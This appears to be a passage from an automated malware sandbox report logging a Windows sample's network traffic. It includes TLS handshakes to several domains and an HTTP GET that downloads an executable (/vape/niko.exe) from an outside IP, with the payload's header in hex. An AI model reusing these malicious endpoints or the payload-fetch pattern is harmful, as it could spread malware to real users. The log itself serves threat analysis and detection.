May 24, 2024 13:42:04.779659033 CEST	1236	IN	Data Raw: 74 0e 48 8b 01 48 8b 40 10 ff 15 e8 5d 01 00 90 48 8b c7 48 81 c4 b0 00 00 00 41 5f 41 5e 53 48 c7 c3 60 00 00 00 e9 b0 00 00 00 01 00 eb 14 a8 02 48 8d 1d af 68 01 00 48 8d 05 c0 68 01 00 48 0f 44 d8 ba 01 00 00 00 48 8d 4c 24 70 e8 55 3c 00 00 Data Ascii: tHH@]HHA_A^SH`HhHhHDHL$pU<LHH$H5H$H(!H(H(w!H(@WH0HD$ H\$@eH<HhHcHHsi
May 24, 2024 13:42:04.779670000 CEST	1236	IN	Data Raw: 00 48 8d 05 bb 62 01 00 48 89 01 8b fa 48 8b d9 74 09 48 8b 49 18 e8 fc e0 00 00 48 8b 4b 28 e8 f3 e0 00 00 48 8d 05 70 62 01 00 48 89 03 40 f6 c7 01 74 0d ba 60 00 00 00 48 8b cb e8 b2 f8 00 00 48 8b c3 48 8b 5c 24 30 48 83 c4 20 5f c3 cc cc cc Data Ascii: HbHHtHIHK(HpbH@t`HHH\$0H _@SH H;bHHt~HH [H\$WH HeHHHIrHO iHO(`HaHt0H H\$0HH _@SH HaH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49747	188.114.96.3	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:03.699995995 CEST	120	OUT	Data Raw: 16 03 01 00 73 01 00 00 6f 03 01 66 50 7d 0b 41 36 05 7b 2e 3e 4b 75 6a 79 71 c0 b2 aa a8 51 23 a2 bb a4 56 8f ad 4c d8 f5 0f f2 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 38 00 00 00 15 00 13 00 00 10 6c 6f 70 2e 66 6f 78 65 73 Data Ascii: sofP}A6{.>KujyqQ#VL5/8lop.foxesjoy.com#
May 24, 2024 13:42:04.229213953 CEST	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 24 May 2024 11:42:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49749	87.240.132.72	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:03.813838005 CEST	164	OUT	Data Raw: 16 03 03 00 9f 01 00 00 9b 03 03 66 50 7d 0b 36 9e ac 93 7c 4e 1d 5d 0a 9f 35 43 22 f4 95 c8 0a 1d 92 ce c5 d0 d0 97 ca 4e 75 8d 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: fP}6\|N]5C"Nu&,+0/$#('=<5/Lvk.com#
May 24, 2024 13:42:04.764532089 CEST	341	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Fri, 24 May 2024 11:42:04 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49748	87.240.132.72	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:03.813949108 CEST	164	OUT	Data Raw: 16 03 03 00 9f 01 00 00 9b 03 03 66 50 7d 0b b7 5f a0 c1 46 71 27 8d bc ad 90 f5 a9 44 76 8d f1 e8 19 a8 8e fb 08 a7 d8 82 6f da 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: fP}_Fq'Dvo&,+0/$#('=<5/Lvk.com#
May 24, 2024 13:42:04.765250921 CEST	341	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Fri, 24 May 2024 11:42:04 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49750	176.111.174.109	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:03.877964020 CEST	198	OUT	GET /pelikan HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 176.111.174.109 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49752	146.70.56.165	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:03.917226076 CEST	117	OUT	Data Raw: 16 03 01 00 70 01 00 00 6c 03 01 66 50 7d 0b 79 a6 8d 73 7e 36 00 bf cf 05 dc 47 82 8a a6 a8 41 03 17 60 96 dd 85 b3 59 4b c2 64 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 35 00 00 00 12 00 10 00 00 0d 6b 75 72 64 2e 63 6f 6d 70 Data Ascii: plfP}ys~6GA`YKd5/5kurd.computer#
May 24, 2024 13:42:04.775047064 CEST	1036	IN	HTTP/1.1 405 Method Not Allowed Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 790 date: Fri, 24 May 2024 11:42:06 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 405 Method Not Allowed</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">405</h1><h2 style="margin-top:20px;font-size: 30px;">Method Not Allowed</h2><p>This type request is not allowed!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49753	45.130.41.108	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:04.059199095 CEST	119	OUT	Data Raw: 16 03 01 00 72 01 00 00 6e 03 01 66 50 7d 0b d6 43 1f dd a0 a2 6c fb 18 f5 83 62 8a 98 6f 58 7f 0a 97 20 0c 95 bb 16 47 a0 33 65 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 37 00 00 00 14 00 12 00 00 0f 6d 6f 6e 6f 62 6c 6f 63 6b Data Ascii: rnfP}ClboX G3e5/7monoblocked.com#
May 24, 2024 13:42:04.791402102 CEST	329	IN	HTTP/1.1 400 Bad Request Server: nginx-reuseport/1.21.1 Date: Fri, 24 May 2024 11:42:04 GMT Content-Type: text/html Content-Length: 167 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2d 72 65 75 73 65 70 6f 72 74 2f 31 2e 32 31 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx-reuseport/1.21.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49756	87.240.132.72	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:04.793638945 CEST	164	OUT	Data Raw: 16 03 03 00 9f 01 00 00 9b 03 03 66 50 7d 0c f7 d1 77 4f b2 bd d8 e0 08 f6 de a5 e0 64 5c 23 87 88 f5 80 f0 4b bd 33 11 54 e6 50 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: fP}wOd\#K3TP&,+0/$#('=<5/Lvk.com#
May 24, 2024 13:42:05.488472939 CEST	341	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Fri, 24 May 2024 11:42:05 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49757	87.240.132.72	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:04.807821989 CEST	164	OUT	Data Raw: 16 03 03 00 9f 01 00 00 9b 03 03 66 50 7d 0c 79 ec 46 7a d7 2b ba 8a b6 24 25 ba 99 64 d7 0d b3 c4 3c 78 41 68 33 d6 e6 c9 ae fe 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: fP}yFz+$%d<xAh3&,+0/$#('=<5/Lvk.com#
May 24, 2024 13:42:05.496007919 CEST	341	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Fri, 24 May 2024 11:42:05 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49760	147.45.47.149	54674	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:04.824841976 CEST	208	OUT	GET /vape/niko.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 147.45.47.149:54674 Cache-Control: no-cache
May 24, 2024 13:42:05.535666943 CEST	1236	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Fri, 24 May 2024 10:01:59 GMT Accept-Ranges: bytes ETag: "4572d66ac1adda1:0" Server: Microsoft-IIS/10.0 Date: Fri, 24 May 2024 11:42:05 GMT Content-Length: 3140096 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6a 99 1d e4 2e f8 73 b7 2e f8 73 b7 2e f8 73 b7 65 80 70 b6 25 f8 73 b7 65 80 76 b6 ee f8 73 b7 65 80 74 b6 2f f8 73 b7 ec 79 8e b7 2a f8 73 b7 ec 79 77 b6 3d f8 73 b7 ec 79 70 b6 34 f8 73 b7 ec 79 76 b6 75 f8 73 b7 65 80 77 b6 36 f8 73 b7 65 80 75 b6 2f f8 73 b7 65 80 72 b6 35 f8 73 b7 2e f8 72 b7 0e f9 73 b7 dd 7a 7a b6 32 f8 73 b7 dd 7a 8c b7 2f f8 73 b7 2e f8 e4 b7 2f f8 73 b7 dd 7a 71 b6 2f f8 73 b7 52 69 63 68 2e f8 73 b7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 14 69 4c 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 bc 15 00 00 7c 03 00 00 00 00 00 fc 06 b4 00 00 10 00 00 00 d0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j.s.s.sep%sevset/sy*syw=syp4syvusew6seu/ser5s.rszz2sz/s./szq/sRich.sPELiLf'\|@ @ PPL_`40PP<@@@PPB@ J@bJ@.rsrc `@@x(@.data" !@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49764	87.240.132.72	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:05.555558920 CEST	164	OUT	Data Raw: 16 03 03 00 9f 01 00 00 9b 03 03 66 50 7d 0c ce 7d 8f 82 a0 8f c4 dc 46 65 1d 03 2a 5d b1 b1 f4 61 3c 09 27 1c 13 61 d0 b7 08 10 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: fP}}Fe*]a<'a&,+0/$#('=<5/Lvk.com#
May 24, 2024 13:42:06.198358059 CEST	341	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Fri, 24 May 2024 11:42:06 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49765	87.240.132.72	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:05.555728912 CEST	164	OUT	Data Raw: 16 03 03 00 9f 01 00 00 9b 03 03 66 50 7d 0c 34 ab 66 12 ef 58 da d0 d6 71 c2 6f a8 c7 55 4a 6d 92 00 f5 b3 44 fa f8 11 79 1b 7c 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: fP}4fXqoUJmDy\|&,+0/$#('=<5/Lvk.com#
May 24, 2024 13:42:06.232129097 CEST	341	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Fri, 24 May 2024 11:42:06 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49766	87.240.132.72	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:06.210028887 CEST	110	OUT	Data Raw: 16 03 01 00 69 01 00 00 65 03 01 66 50 7d 0d e1 26 a4 74 07 1b bc ca 90 6c ae b0 14 92 43 bb b6 c7 8b 58 14 93 25 35 36 bc c0 9f 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 2e 00 00 00 0b 00 09 00 00 06 76 6b 2e 63 6f 6d 00 0a 00 Data Ascii: iefP}&tlCX%565/.vk.com#
May 24, 2024 13:42:06.917079926 CEST	341	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Fri, 24 May 2024 11:42:06 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49768	87.240.132.72	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:06.241996050 CEST	110	OUT	Data Raw: 16 03 01 00 69 01 00 00 65 03 01 66 50 7d 0d 30 0f df 26 0a b2 96 25 f3 58 ef 39 04 ae 37 b5 e4 17 68 3b e6 f7 30 9a 78 7a 18 0c 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 2e 00 00 00 0b 00 09 00 00 06 76 6b 2e 63 6f 6d 00 0a 00 Data Ascii: iefP}0&%X97h;0xz5/.vk.com#
May 24, 2024 13:42:06.950133085 CEST	341	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Fri, 24 May 2024 11:42:06 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49770	87.240.132.72	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:06.930821896 CEST	110	OUT	Data Raw: 16 03 01 00 69 01 00 00 65 03 01 66 50 7d 0e 94 34 bb c9 c4 6f 96 e6 34 35 af c6 2e 06 d9 f8 54 80 a6 bb 66 4a a4 33 9b c8 18 25 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 2e 00 00 00 0b 00 09 00 00 06 76 6b 2e 63 6f 6d 00 0a 00 Data Ascii: iefP}4o45.TfJ3%5/.vk.com#
May 24, 2024 13:42:07.625284910 CEST	341	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Fri, 24 May 2024 11:42:07 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49771	87.240.132.72	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:06.964936972 CEST	110	OUT	Data Raw: 16 03 01 00 69 01 00 00 65 03 01 66 50 7d 0e d9 1d 14 fe 38 87 b6 bc 89 10 dd 33 b2 93 eb 84 b0 fb a0 e9 16 56 71 5f 4d fa cb 14 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 2e 00 00 00 0b 00 09 00 00 06 76 6b 2e 63 6f 6d 00 0a 00 Data Ascii: iefP}83Vq_M5/.vk.com#
